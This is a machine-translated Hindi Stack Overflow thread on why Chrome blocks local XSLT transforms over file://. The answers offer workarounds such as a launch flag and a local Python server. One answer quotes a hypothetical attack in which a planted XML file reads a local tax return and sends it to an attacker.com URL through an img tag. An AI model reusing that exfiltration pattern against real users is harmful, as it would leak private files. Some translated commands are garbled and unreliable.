क्या क्रोम को एक स्थानीय फ़ाइल पर एक XSL ट्रांसफ़ॉर्म करने के लिए बनाया जा सकता है?


91

मैं xslt में देख रहा था और w3schools के उदाहरणों के साथ परीक्षण करना शुरू किया।

हालाँकि, जब मैं xml और xsl को फाइलों में सहेजता हूं और उन्हें स्थानीय रूप से खोलने की कोशिश करता हूं, तो क्रोम xsl ट्रांसफ़ॉर्म नहीं करेगा। यह सिर्फ एक खाली पृष्ठ दिखाता है।

मैंने <?xml-stylesheet type="text/xsl" href="style.xsl">टैग को xml दस्तावेज़ में जोड़ा है , और फ़ायरफ़ॉक्स इसे प्रस्तुत करता है जैसा कि यह देखना है। इसके अलावा, अगर मैं एक वेब सर्वर के माध्यम से फाइलों को देखता हूं, तो क्रोम फाइल को दिखाता है क्योंकि यह देखने के लिए है।

क्या यह है कि लिंक के स्थानीय होने पर क्रोम को स्टाइलशीट की जानकारी खोजने में समस्या होती है? Href बदलने से file:///C:/xsl/style.xslकोई फ़र्क नहीं पड़ा ।

अद्यतन: यह फ़ाइल का इलाज न करने के लिए सुरक्षा-नीति का एक दुष्प्रभाव प्रतीत होता है : /// * समान मूल। यह कंसोल में निम्न त्रुटि प्रकट करता है:

URL फ़ाइल लोड करने का असुरक्षित प्रयास: /// C: /xsl-rpg/style.xsl URL फ़ाइल के साथ फ्रेम से: /// C: /xsl-rpg/data.xml। डोमेन्स, प्रोटोकॉल्स और पोर्ट्स मैच करना चाहिए।


1
ऐसा लगता है कि file:प्रोटोकॉल से Chrome उसी डोमेन त्रुटि को फेंकता है।

1
IE11 पर यह काम करता है। क्रोम बुराई हो रही है।
मार्को डेमायो

जवाबों:


74

संक्षिप्त उत्तर है "नहीं, वहां ब्राउज़रों के विविध सेटों में से एक का उपयोग करें "

Chrome द्वारा विवादास्पद तरीके [1] [2] [3] [4] को संबोधित करने से सुरक्षा के कारण यह काम नहीं करता है , XML फ़ाइलों को उसी निर्देशिका में स्थानीय XSLT फ़ाइलों तक पहुँचने से रोककर, जबकि HTML फ़ाइलों का उपयोग कर सकते हैं। एक ही निर्देशिका में .SS फ़ाइलें ठीक है।

ऊपर दिए गए मुद्दों के अलावा, उपयोगकर्ताओं ने स्पष्ट त्रुटि संदेश (क्योंकि डोमेन, प्रोटोकॉल और पोर्ट वास्तव में मेल खाते हैं) या कम से कम स्टाइल के बिना XML प्रदर्शित करने के लिए कहा है। क्रोम डेवलपर्स ने इन अनुरोधों की अनदेखी की है।


18
जबकि उनकी सुरक्षा की चिंता समझ में आती है, XML फ़ाइलों को उसी निर्देशिका से XSL स्टाइलशीट लोड करने में सक्षम होना चाहिए, जिस तरह HTML फ़ाइलें उसी निर्देशिका से चित्र और स्क्रिप्ट लोड कर सकती हैं। एक मुद्दा है जिसे आप घूर सकते हैं, लेकिन क्रोम देव टीम ने इस पर नई टिप्पणियों पर प्रतिबंध लगा दिया है - इस तथ्य के बावजूद कि उन्होंने शिकायत की थी कि वे यह नहीं बता सकते हैं कि उपयोगकर्ताओं को स्थानीय फ़ाइल उत्पत्ति में कितना आराम चाहिए था।
दान डस्केल्सस्कु

1
दिलचस्प तथ्य: सफारी ऑन मैक (8.0) स्थानीय एक्सएसएलटी के साथ ठीक काम करता है, लेकिन आईओएस (8) सिम्युलेटर पर सफारी (और मुझे आईओएस पर भी लगता है) मुझे क्रोम "डोमेन, प्रोटोकॉल और बंदरगाहों की तरह ही त्रुटि मिलनी चाहिए।" "। लेकिन अगर मैं ऐप में UIWebView लागू करने और XSLT के साथ XML लोड करने के लिए सब कुछ ठीक काम करता हूं।
पॉल ब्रेवस्कीस्की

एक और ब्राउज़र का उपयोग करने में थोड़ा सा काम जब क्रोम ब्राउज़र में विशेष रूप से xslt प्रतिपादन को ठीक करना है ...
n611x007

क्रोमियम के साथ काम करने वाला एक दृष्टिकोण एक्सएसएल फ़ाइल को डेटा के रूप में एक्सएमएल फ़ाइल में इनलाइन करना है: पाठ / एक्सएसएल यूआरआई।
17

57

आप क्रोम के कमांड लाइन झंडे का उपयोग करके इसे स्थानीय रूप से कर सकते हैं।

विशिष्ट ध्वज है --allow-file-access-from-files

OS X पर: से टर्मिनल ।app चलाएं /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

विंडोज पर: कमांड प्रॉम्प्ट से %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

ध्यान दें: आपको संभवतः क्रोम छोड़ना होगा यदि यह वर्तमान में चल रहा है अन्यथा Ch


यह विंडोज 7 पर मेरे लिए काम करने लगता नहीं है। मुझे यहां स्थित chrome.exe मिला है: C:\Program Files (x86)\Google\Chrome\Applicationऔर --allow-file-access-from-files कमांड केवल ठीक निष्पादित करता है, लेकिन मेरा स्थानीय XML दस्तावेज़ (द्वारा रूपांतरित) स्थानीय XSLT फ़ाइल) प्रदर्शित नहीं होती है।
रिक

2
हो सकता है कि आपको विंडोज़ टास्क मैनेजर में chrome.exe के लिए सभी रनिंग विंडो प्रोसेस को हाथ से मारना पड़े। मेरे लिए, यह काम किया।
क्रिस्चियन शुल्जेंडॉर्फ

1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-filesमेरे लिए काम किया। जाहिर है मैं क्रोम कैनरी चला रहा हूं। इस कमांड को चलाने के बाद, एक नई क्रोम विंडो खुलनी चाहिए और आपको अपना XSL ट्रांसफॉर्म करने देना चाहिए।
सीनएलएफ

2
विंडोज 7 पर तेज़: विंडो की + आर; "क्रोम - क्लो-फाइल-एक्सेस-फ्रॉम-फाइल्स"; दर्ज।
हारून कैंपबेल

या पॉवरशेल में (आपके लिए पिछले क्रोम को मारता है):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
आरोन कैंपबेल

15

यदि आप ओपी से चिपके रहना चाहते हैं, तो इसका जवाब नहीं है (जैसा कि अन्य ने बताया है) लेकिन समस्या को ठीक करने का एक तरीका है क्रोम में एक साधारण वेबसर्वर और http के माध्यम से फाइलें खोलना। यदि आपके पास अजगर 2.x स्थापित है, तो आप टाइप करके वेबसर्वर चला सकते हैं:

python -m SimpleHTTPServer

या अजगर में 3.x:

python3 -m http.server

और फिर http://localhost:8000/yourfile.xmlक्रोम में उपयोग करके फ़ाइल खोलें । उम्मीद है कि आप बस अपना काम करवाना चाहते हैं और इसका उपयोग करने के लिए फ़ाइल को खोलना महत्वपूर्ण बात नहीं हैfile://


3

क्रोम बग पेज पर इसे थोड़ा सा डिक्रीफ़रिंग लिया गया - वे यह समझाने में बहुत उत्सुक थे कि समस्या क्या है, और उन्होंने सभी को तोड़ने के बजाय सभी को तोड़ने का विकल्प क्यों चुना।

मान लें कि मेरे पास एक XML फ़ाइल है - कहीं - मेरी हार्ड ड्राइव पर, जैसे:

C: \ Users \ इयान \ दस्तावेज़ \ करों \ StudioTaxReturn_2015.xml

और एक दुर्भावनापूर्ण इकाई - किसी तरह - मेरे कंप्यूटर पर एक दुर्भावनापूर्ण Xml फ़ाइल को छोड़ने में कामयाब रही, जैसे:

C: \ Users \ इयान \ AppData \ LocalLow \ अस्थायी \ TrojanVirusWorm.xml

कल्पना करें कि ट्रोजन वीरवॉर्म.एक्सएमएल में एक स्टाइलशीट प्रोसेसिंग इंस्ट्रक्शन ( PI ) है:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

हमलावर तब मेरे ब्राउज़र को स्थानीय रूप से सहेजी गई trojanVirusWorm.xmlफ़ाइल पर नेविगेट करने का निर्देश देता है ।

जाहिरा तौर पर एक तरीका है कि एक XML फ़ाइल XSD फ़ाइल की सामग्री को पढ़ सकती है (बजाय XSD फ़ाइल द्वारा रूपांतरित होने के):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

मुझे समझ नहीं आ रहा है कि XML फ़ाइल एक स्टाइलशीट फ़ाइल कैसे पढ़ सकती है। लेकिन Chrome टीम ने हमें आश्वासन दिया है कि यह एक खतरा है, और इसे हल नहीं किया जा सकता है।

हर दूसरे ब्राउज़र ने इसे हल किया। उन्होंने इसे हल किया क्योंकि यह कोई समस्या नहीं है


3

एक xsl फ़ाइल के अनुसार एक xml देखने के लिए मेरा समाधान

मान लें कि हमारे पास हेडर के साथ कुछ_फाइल। Xml है:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. हम फ़ाइल डाउनलोड करते हैं https://some-site.com/Common.xslऔर इसे बगल में रखते हैंsome_file.xml
  2. से हमारे शीर्ष लेख का हिस्सा बदलें href="https://some-site.com/Common.xsl"करने के लिए href="http://localhost:8001/Common.xsl"
  3. हमारी फ़ाइलों के साथ निर्देशिका में चलाएँ - python3 -m http.server 8001
  4. किसी भी ब्राउज़र में खोलें http://localhost:8001/some_file.xml

0

आप अपनी ब्राउज़र सेटिंग बदलकर XSL फ़ाइल रेंडर करने के लिए Chrome को सक्षम कर सकते हैं। एक विज़ुअल स्टूडियो कोड लाइव सर्वर या अपाचे जैसे स्थानीय वेबसर्वर के माध्यम से इसे एक्सेस करने के लिए एक सुरक्षित दृष्टिकोण होगा। देखें XSLT चरणों के लिए स्थानीय फ़ाइलों पर रेंडर नहीं होगा

हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.